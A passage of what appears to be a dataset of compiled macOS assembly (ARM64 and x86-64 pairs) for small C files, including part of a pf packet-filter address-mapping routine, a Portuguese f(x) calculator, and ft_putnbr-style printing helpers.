je LBB0_29
## %bb.27:
## %bb.28:
movq -64(%rbp), %rdi
movq -96(%rbp), %rsi
movq -104(%rbp), %rdx
movq -88(%rbp), %rcx
addq $8, %rcx
movl -40(%rbp), %r8d
callq _PF_POOLMASK
movq -72(%rbp), %rdi
movq -64(%rbp), %rsi
movl -40(%rbp), %edx
callq _PF_ACPY
jmp LBB0_30
LBB0_29:
movq -88(%rbp), %rdi
addq $8, %rdi
movl -40(%rbp), %esi
callq _PF_AINC
movq -64(%rbp), %rdi
movq -96(%rbp), %rsi
movq -104(%rbp), %rdx
movq -88(%rbp), %rcx
addq $8, %rcx
movl -40(%rbp), %r8d
callq _PF_POOLMASK
LBB0_30:
jmp LBB0_67
LBB0_31:
movq -56(%rbp), %rdi
leaq -32(%rbp), %rsi
movq -88(%rbp), %rdx
addq $28, %rdx
movl -40(%rbp), %ecx
callq _pf_hash
movq -64(%rbp), %rdi
movq -96(%rbp), %rsi
movq -104(%rbp), %rdx
leaq -32(%rbp), %rcx
movl -40(%rbp), %r8d
callq _PF_POOLMASK
jmp LBB0_67
LBB0_32:
movq -88(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -112(%rbp)
movq -88(%rbp), %rax
movq 16(%rax), %rax
movq (%rax), %rax
movq _PF_ADDR_TABLE@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jne LBB0_36
## %bb.33:
movq -88(%rbp), %rax
movq 16(%rax), %rax
movl 32(%rax), %edi
movq -88(%rbp), %rsi
addq $4, %rsi
movq -88(%rbp), %rdx
addq $8, %rdx
movl -40(%rbp), %ecx
callq _pfr_pool_get
cmpl $0, %eax
jne LBB0_35
## %bb.34:
jmp LBB0_63
LBB0_35:
jmp LBB0_44
LBB0_36:
movq -88(%rbp), %rax
movq 16(%rax), %rax
movq (%rax), %rax
movq _PF_ADDR_DYNIFTL@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jne LBB0_40
## %bb.37:
movq -88(%rbp), %rax
movq 16(%rax), %rax
movq 24(%rax), %rax
movl 8(%rax), %edi
movq -88(%rbp), %rsi
addq $4, %rsi
movq -88(%rbp), %rdx
addq $8, %rdx
movl -40(%rbp), %ecx
callq _pfr_pool_get
cmpl $0, %eax
jne LBB0_39
## %bb.38:
jmp LBB0_63
LBB0_39:
jmp LBB0_43
LBB0_40:
movq -96(%rbp), %rsi
movq -104(%rbp), %rdx
movq -88(%rbp), %rcx
addq $8, %rcx
movl -40(%rbp), %r8d
xorl %edi, %edi
callq _pf_match_addr
cmpl $0, %eax
je LBB0_42
## %bb.41:
jmp LBB0_63
LBB0_42:
jmp LBB0_43
LBB0_43:
jmp LBB0_44
LBB0_44:
jmp LBB0_45
LBB0_45: ## =>This Inner Loop Header: Depth=1
movq -88(%rbp), %rax
movq 16(%rax), %rdi
movq _entries@GOTPCREL(%rip), %rax
movl (%rax), %esi
callq _TAILQ_NEXT
cmpq $0, %rax
jne LBB0_47
## %bb.46: ## in Loop: Header=BB0_45 Depth=1
movq -88(%rbp), %rdi
addq $24, %rdi
callq _TAILQ_FIRST
movq %rax, %rcx
movq -88(%rbp), %rax
movq %rcx, 16(%rax)
jmp LBB0_48
LBB0_47: ## in Loop: Header=BB0_45 Depth=1
movq -88(%rbp), %rax
movq 16(%rax), %rdi
movq _entries@GOTPCREL(%rip), %rax
movl (%rax), %esi
callq _TAILQ_NEXT
movq %rax, %rcx
movq -88(%rbp), %rax
movq %rcx, 16(%rax)
LBB0_48: ## in Loop: Header=BB0_45 Depth=1
movq -88(%rbp), %rax
movq 16(%rax), %rax
movq (%rax), %rax
movq _PF_ADDR_TABLE@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jne LBB0_54
## %bb.49: ## in Loop: Header=BB0_45 Depth=1
movq -88(%rbp), %rax
movl $-1, 4(%rax)
movq -88(%rbp), %rax
movq 16(%rax), %rax
movl 32(%rax), %edi
movq -88(%rbp), %rsi
addq $4, %rsi
movq -88(%rbp), %rdx
addq $8, %rdx
movl -40(%rbp), %ecx
callq _pfr_pool_get
cmpl $0, %eax
je LBB0_53
## %bb.50: ## in Loop: Header=BB0_45 Depth=1
movq -88(%rbp), %rax
movq 16(%rax), %rax
cmpq -112(%rbp), %rax
je LBB0_52
## %bb.51: ## in Loop: Header=BB0_45 Depth=1
jmp LBB0_45
LBB0_52:
movl $1, -36(%rbp)
jmp LBB0_73
LBB0_53:
jmp LBB0_62
LBB0_54: ## in Loop: Header=BB0_45 Depth=1
movq -88(%rbp), %rax
movq 16(%rax), %rax
movq (%rax), %rax
movq _PF_ADDR_DYNIFTL@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jne LBB0_60
## %bb.55: ## in Loop: Header=BB0_45 Depth=1
movq -88(%rbp), %rax
movl $-1, 4(%rax)
movq -88(%rbp), %rax
movq 16(%rax), %rax
movq 24(%rax), %rax
movl 8(%rax), %edi
movq -88(%rbp), %rsi
addq $4, %rsi
movq -88(%rbp), %rdx
addq $8, %rdx
movl -40(%rbp), %ecx
callq _pfr_pool_get
cmpl $0, %eax
je LBB0_59
## %bb.56: ## in Loop: Header=BB0_45 Depth=1
movq -88(%rbp), %rax
movq 16(%rax), %rax
cmpq -112(%rbp), %rax
je LBB0_58
## %bb.57: ## in Loop: Header=BB0_45 Depth=1
jmp LBB0_45
LBB0_58:
movl $1, -36(%rbp)
jmp LBB0_73
LBB0_59:
jmp LBB0_61
LBB0_60:
movq -88(%rbp), %rax
movq 16(%rax), %rax
addq $8, %rax
addq $8, %rax
movq %rax, -96(%rbp)
movq -88(%rbp), %rax
movq 16(%rax), %rax
addq $8, %rax
movq %rax, -104(%rbp)
movq -88(%rbp), %rdi
addq $8, %rdi
movq -96(%rbp), %rsi
movl -40(%rbp), %edx
callq _PF_ACPY
LBB0_61:
jmp LBB0_62
LBB0_62:
jmp LBB0_63
LBB0_63:
movq -64(%rbp), %rdi
movq -88(%rbp), %rsi
addq $8, %rsi
movl -40(%rbp), %edx
callq _PF_ACPY
cmpq $0, -72(%rbp)
je LBB0_66
## %bb.64:
movq -72(%rbp), %rdi
movl -40(%rbp), %esi
callq _PF_AZERO
cmpq $0, %rax
je LBB0_66
## %bb.65:
movq -72(%rbp), %rdi
movq -64(%rbp), %rsi
movl -40(%rbp), %edx
callq _PF_ACPY
LBB0_66:
movq -88(%rbp), %rdi
addq $8, %rdi
movl -40(%rbp), %esi
callq _PF_AINC
LBB0_67:
movq -80(%rbp), %rax
cmpq $0, (%rax)
je LBB0_69
## %bb.68:
movq -80(%rbp), %rax
movq (%rax), %rdi
movq -64(%rbp), %rsi
movl -40(%rbp), %edx
callq _PF_ACPY
LBB0_69:
movq _V_pf_status@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq _PF_DEBUG_MISC@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jl LBB0_72
## %bb.70:
movq -88(%rbp), %rax
movl (%rax), %eax
movq _PF_POOL_TYPEMASK@GOTPCREL(%rip), %rcx
andl (%rcx), %eax
cmpl $131, %eax
je LBB0_72
## %bb.71:
leaq L_.str.3(%rip), %rdi
callq _printf
movq -64(%rbp), %rdi
movl -40(%rbp), %edx
xorl %esi, %esi
callq _pf_print_host
leaq L_.str.2(%rip), %rdi
callq _printf
LBB0_72:
movl $0, -36(%rbp)
LBB0_73:
movl -36(%rbp), %eax
movl %eax, -124(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_75
## %bb.74:
movl -124(%rbp), %eax ## 4-byte Reload
addq $128, %rsp
popq %rbp
retq
LBB0_75:
callq ___stack_chk_fail
ud2
.cfi_endproc
.p2align 2, 0x90
.data_region jt32
.set L0_0_set_31, LBB0_31-LJTI0_0
.set L0_0_set_32, LBB0_32-LJTI0_0
.set L0_0_set_25, LBB0_25-LJTI0_0
.set L0_0_set_23, LBB0_23-LJTI0_0
.set L0_0_set_24, LBB0_24-LJTI0_0
LJTI0_0:
.long L0_0_set_31
.long L0_0_set_32
.long L0_0_set_25
.long L0_0_set_23
.long L0_0_set_24
.end_data_region
## -- End function
.comm _PF_POOL_STICKYADDR,4,2 ## @PF_POOL_STICKYADDR
.comm _PF_POOL_TYPEMASK,4,2 ## @PF_POOL_TYPEMASK
.comm _V_pf_status,8,3 ## @V_pf_status
.comm _PF_DEBUG_MISC,8,3 ## @PF_DEBUG_MISC
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "pf_map_addr: src tracking maps "
L_.str.1: ## @.str.1
.asciz " to "
L_.str.2: ## @.str.2
.asciz "\n"
.comm _PF_ADDR_NOROUTE,8,3 ## @PF_ADDR_NOROUTE
.comm _PF_ADDR_DYNIFTL,8,3 ## @PF_ADDR_DYNIFTL
.comm _PF_ADDR_TABLE,8,3 ## @PF_ADDR_TABLE
.comm _entries,4,2 ## @entries
L_.str.3: ## @.str.3
.asciz "pf_map_addr: selected address "
.subsections_via_symbols
| the_stack_data/40762154.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "hello"
.section __DATA,__thread_data,thread_local_regular
.p2align 3 ; @tls_var
_tls_var$tlv$init:
.quad l_.str
.section __DATA,__thread_vars,thread_local_variables
.globl _tls_var
_tls_var:
.quad __tlv_bootstrap
.quad 0
.quad _tls_var$tlv$init
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "hello"
.section __DATA,__thread_data,thread_local_regular
.p2align 3 ## @tls_var
_tls_var$tlv$init:
.quad L_.str
.section __DATA,__thread_vars,thread_local_variables
.globl _tls_var
_tls_var:
.quad __tlv_bootstrap
.quad 0
.quad _tls_var$tlv$init
.subsections_via_symbols
| the_stack_data/212642739.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #16] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _scanf
ldur s0, [x29, #-8]
bl _calculo
stur s0, [x29, #-12]
ldur s0, [x29, #-12]
fcvt d0, s0
mov x8, sp
str d0, [x8]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldr w0, [sp, #16] ; 4-byte Folded Reload
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _calculo ; -- Begin function calculo
.p2align 2
_calculo: ; @calculo
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur s0, [x29, #-4]
ldur s0, [x29, #-4]
fmov s1, #1.00000000
fcmp s0, s1
cset w8, hi
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
fmov s0, #1.00000000
str s0, [sp, #8]
b LBB1_11
LBB1_2:
ldur s0, [x29, #-4]
fmov s1, #1.00000000
fcmp s0, s1
cset w8, le
tbnz w8, #0, LBB1_5
b LBB1_3
LBB1_3:
ldur s0, [x29, #-4]
fmov s1, #2.00000000
fcmp s0, s1
cset w8, hi
tbnz w8, #0, LBB1_5
b LBB1_4
LBB1_4:
fmov s0, #2.00000000
str s0, [sp, #8]
b LBB1_10
LBB1_5:
ldur s0, [x29, #-4]
fmov s1, #2.00000000
fcmp s0, s1
cset w8, le
tbnz w8, #0, LBB1_8
b LBB1_6
LBB1_6:
ldur s0, [x29, #-4]
fmov s1, #3.00000000
fcmp s0, s1
cset w8, hi
tbnz w8, #0, LBB1_8
b LBB1_7
LBB1_7:
ldur s0, [x29, #-4]
fcvt d0, s0
fmov d1, #2.00000000
bl _pow
fcvt s0, d0
str s0, [sp, #8]
b LBB1_9
LBB1_8:
ldur s0, [x29, #-4]
fcvt d0, s0
fmov d1, #3.00000000
bl _pow
fcvt s0, d0
str s0, [sp, #8]
b LBB1_9
LBB1_9:
b LBB1_10
LBB1_10:
b LBB1_11
LBB1_11:
ldr s0, [sp, #8]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Programa para calcular o valor de f(x).\n"
l_.str.1: ; @.str.1
.asciz "Qual o valor de X? "
l_.str.2: ; @.str.2
.asciz "%f"
l_.str.3: ; @.str.3
.asciz "y = f(x) = %.2f"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.2(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
movss -8(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
callq _calculo
movss %xmm0, -12(%rbp)
movss -12(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
leaq L_.str.3(%rip), %rdi
movb $1, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__literal4,4byte_literals
.p2align 2 ## -- Begin function calculo
LCPI1_0:
.long 0x3f800000 ## float 1
LCPI1_1:
.long 0x40000000 ## float 2
LCPI1_2:
.long 0x40400000 ## float 3
.section __TEXT,__literal8,8byte_literals
.p2align 3
LCPI1_3:
.quad 0x4008000000000000 ## double 3
LCPI1_4:
.quad 0x4000000000000000 ## double 2
.section __TEXT,__text,regular,pure_instructions
.globl _calculo
.p2align 4, 0x90
_calculo: ## @calculo
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movss %xmm0, -4(%rbp)
movss LCPI1_0(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
ucomiss -4(%rbp), %xmm0
jb LBB1_2
## %bb.1:
movss LCPI1_0(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss %xmm0, -8(%rbp)
jmp LBB1_11
LBB1_2:
movss -4(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss LCPI1_0(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero
ucomiss %xmm1, %xmm0
jbe LBB1_5
## %bb.3:
movss LCPI1_1(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
ucomiss -4(%rbp), %xmm0
jb LBB1_5
## %bb.4:
movss LCPI1_1(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss %xmm0, -8(%rbp)
jmp LBB1_10
LBB1_5:
movss -4(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss LCPI1_1(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero
ucomiss %xmm1, %xmm0
jbe LBB1_8
## %bb.6:
movss LCPI1_2(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
ucomiss -4(%rbp), %xmm0
jb LBB1_8
## %bb.7:
movss -4(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
movsd LCPI1_4(%rip), %xmm1 ## xmm1 = mem[0],zero
callq _pow
cvtsd2ss %xmm0, %xmm0
movss %xmm0, -8(%rbp)
jmp LBB1_9
LBB1_8:
movss -4(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
movsd LCPI1_3(%rip), %xmm1 ## xmm1 = mem[0],zero
callq _pow
cvtsd2ss %xmm0, %xmm0
movss %xmm0, -8(%rbp)
LBB1_9:
jmp LBB1_10
LBB1_10:
jmp LBB1_11
LBB1_11:
movss -8(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Programa para calcular o valor de f(x).\n"
L_.str.1: ## @.str.1
.asciz "Qual o valor de X? "
L_.str.2: ## @.str.2
.asciz "%f"
L_.str.3: ## @.str.3
.asciz "y = f(x) = %.2f"
.subsections_via_symbols
| the_stack_data/23574596.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
mov x8, x0
mov w0, #0
str wzr, [sp, #12]
str w8, [sp, #8]
str x1, [sp]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
xorl %eax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/51856.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str wzr, [sp, #12]
mov w8, #2
str w8, [sp, #20]
ldr w8, [sp, #20]
subs w8, w8, #2
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
mov w8, #1
str w8, [sp, #12]
b LBB0_3
LBB0_2:
str wzr, [sp, #12]
b LBB0_3
LBB0_3:
ldr w8, [sp, #12]
str w8, [sp, #8] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4:
bl ___stack_chk_fail
LBB0_5:
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -20(%rbp)
movl $2, -12(%rbp)
cmpl $2, -12(%rbp)
je LBB0_2
## %bb.1:
movl $1, -20(%rbp)
jmp LBB0_3
LBB0_2:
movl $0, -20(%rbp)
LBB0_3:
movl -20(%rbp), %eax
movl %eax, -24(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_5
## %bb.4:
movl -24(%rbp), %eax ## 4-byte Reload
addq $32, %rsp
popq %rbp
retq
LBB0_5:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/7949561.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ft_putchar ; -- Begin function ft_putchar
.p2align 2
_ft_putchar: ; @ft_putchar
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
sub x1, x29, #1
sturb w0, [x29, #-1]
mov w0, #1
mov x2, #1
bl _write
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _ft_put_positive ; -- Begin function ft_put_positive
.p2align 2
_ft_put_positive: ; @ft_put_positive
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
ldur w8, [x29, #-4]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
ldur w8, [x29, #-4]
mov w10, #10
sdiv w8, w8, w10
str w8, [sp, #8]
ldur w8, [x29, #-4]
ldr w9, [sp, #8]
mul w9, w9, w10
subs w8, w8, w9
str w8, [sp, #4]
ldr w0, [sp, #8]
bl _ft_put_positive
ldr w8, [sp, #4]
add w8, w8, #48
sxtb w0, w8
bl _ft_putchar
b LBB1_2
LBB1_2:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _ft_putnbr ; -- Begin function ft_putnbr
.p2align 2
_ft_putnbr: ; @ft_putnbr
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
mov w8, #1
str w8, [sp, #4]
ldur w8, [x29, #-4]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB2_2
b LBB2_1
LBB2_1:
mov w0, #45
bl _ft_putchar
ldur w9, [x29, #-4]
mov w8, #0
subs w8, w8, w9
stur w8, [x29, #-4]
b LBB2_2
LBB2_2:
ldursw x8, [x29, #-4]
mov x9, #-2147483648
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB2_4
b LBB2_3
LBB2_3:
mov w0, #50
bl _ft_putchar
mov w8, #27648
movk w8, #2250, lsl #16
stur w8, [x29, #-4]
b LBB2_4
LBB2_4:
ldur w8, [x29, #-4]
str w8, [sp, #8]
b LBB2_5
LBB2_5: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #8]
mov w9, #10
sdiv w8, w8, w9
str w8, [sp, #8]
subs w8, w8, #0
cset w8, le
tbnz w8, #0, LBB2_7
b LBB2_6
LBB2_6: ; in Loop: Header=BB2_5 Depth=1
ldr w8, [sp, #4]
mov w9, #10
mul w8, w8, w9
str w8, [sp, #4]
b LBB2_5
LBB2_7:
ldur w8, [x29, #-4]
str w8, [sp, #8]
b LBB2_8
LBB2_8: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #4]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB2_10
b LBB2_9
LBB2_9: ; in Loop: Header=BB2_8 Depth=1
ldr w8, [sp, #8]
ldr w9, [sp, #4]
sdiv w8, w8, w9
sxtb w8, w8
add w8, w8, #48
sxtb w0, w8
bl _ft_putchar
ldr w10, [sp, #4]
ldr w8, [sp, #8]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
str w8, [sp, #8]
ldr w8, [sp, #4]
mov w9, #10
sdiv w8, w8, w9
str w8, [sp, #4]
b LBB2_8
LBB2_10:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _ft_putstr ; -- Begin function ft_putstr
.p2align 2
_ft_putstr: ; @ft_putstr
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
b LBB3_1
LBB3_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldrb w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB3_3
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #8]
add x9, x8, #1
str x9, [sp, #8]
ldrsb w0, [x8]
bl _ft_putchar
b LBB3_1
LBB3_3:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ft_putchar ## -- Begin function ft_putchar
.p2align 4, 0x90
_ft_putchar: ## @ft_putchar
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movb %dil, %al
movb %al, -1(%rbp)
movl $1, %edi
leaq -1(%rbp), %rsi
movl $1, %edx
callq _write
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _ft_put_positive ## -- Begin function ft_put_positive
.p2align 4, 0x90
_ft_put_positive: ## @ft_put_positive
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
cmpl $0, -4(%rbp)
je LBB1_2
## %bb.1:
movl -4(%rbp), %eax
movl $10, %ecx
cltd
idivl %ecx
movl %eax, -8(%rbp)
movl -4(%rbp), %eax
imull $10, -8(%rbp), %ecx
subl %ecx, %eax
movl %eax, -12(%rbp)
movl -8(%rbp), %edi
callq _ft_put_positive
movl -12(%rbp), %eax
addl $48, %eax
## kill: def $al killed $al killed $eax
movsbl %al, %edi
callq _ft_putchar
LBB1_2:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _ft_putnbr ## -- Begin function ft_putnbr
.p2align 4, 0x90
_ft_putnbr: ## @ft_putnbr
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl $1, -12(%rbp)
cmpl $0, -4(%rbp)
jge LBB2_2
## %bb.1:
movl $45, %edi
callq _ft_putchar
xorl %eax, %eax
subl -4(%rbp), %eax
movl %eax, -4(%rbp)
LBB2_2:
movslq -4(%rbp), %rax
cmpq $-2147483648, %rax ## imm = 0x80000000
jne LBB2_4
## %bb.3:
movl $50, %edi
callq _ft_putchar
movl $147483648, -4(%rbp) ## imm = 0x8CA6C00
LBB2_4:
movl -4(%rbp), %eax
movl %eax, -8(%rbp)
LBB2_5: ## =>This Inner Loop Header: Depth=1
movl -8(%rbp), %eax
movl $10, %ecx
cltd
idivl %ecx
movl %eax, -8(%rbp)
cmpl $0, %eax
jle LBB2_7
## %bb.6: ## in Loop: Header=BB2_5 Depth=1
imull $10, -12(%rbp), %eax
movl %eax, -12(%rbp)
jmp LBB2_5
LBB2_7:
movl -4(%rbp), %eax
movl %eax, -8(%rbp)
LBB2_8: ## =>This Inner Loop Header: Depth=1
cmpl $0, -12(%rbp)
je LBB2_10
## %bb.9: ## in Loop: Header=BB2_8 Depth=1
movl -8(%rbp), %eax
cltd
idivl -12(%rbp)
## kill: def $al killed $al killed $eax
movsbl %al, %eax
addl $48, %eax
## kill: def $al killed $al killed $eax
movsbl %al, %edi
callq _ft_putchar
movl -12(%rbp), %ecx
movl -8(%rbp), %eax
cltd
idivl %ecx
movl %edx, -8(%rbp)
movl -12(%rbp), %eax
movl $10, %ecx
cltd
idivl %ecx
movl %eax, -12(%rbp)
jmp LBB2_8
LBB2_10:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _ft_putstr ## -- Begin function ft_putstr
.p2align 4, 0x90
_ft_putstr: ## @ft_putstr
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
LBB3_1: ## =>This Inner Loop Header: Depth=1
movq -8(%rbp), %rax
cmpb $0, (%rax)
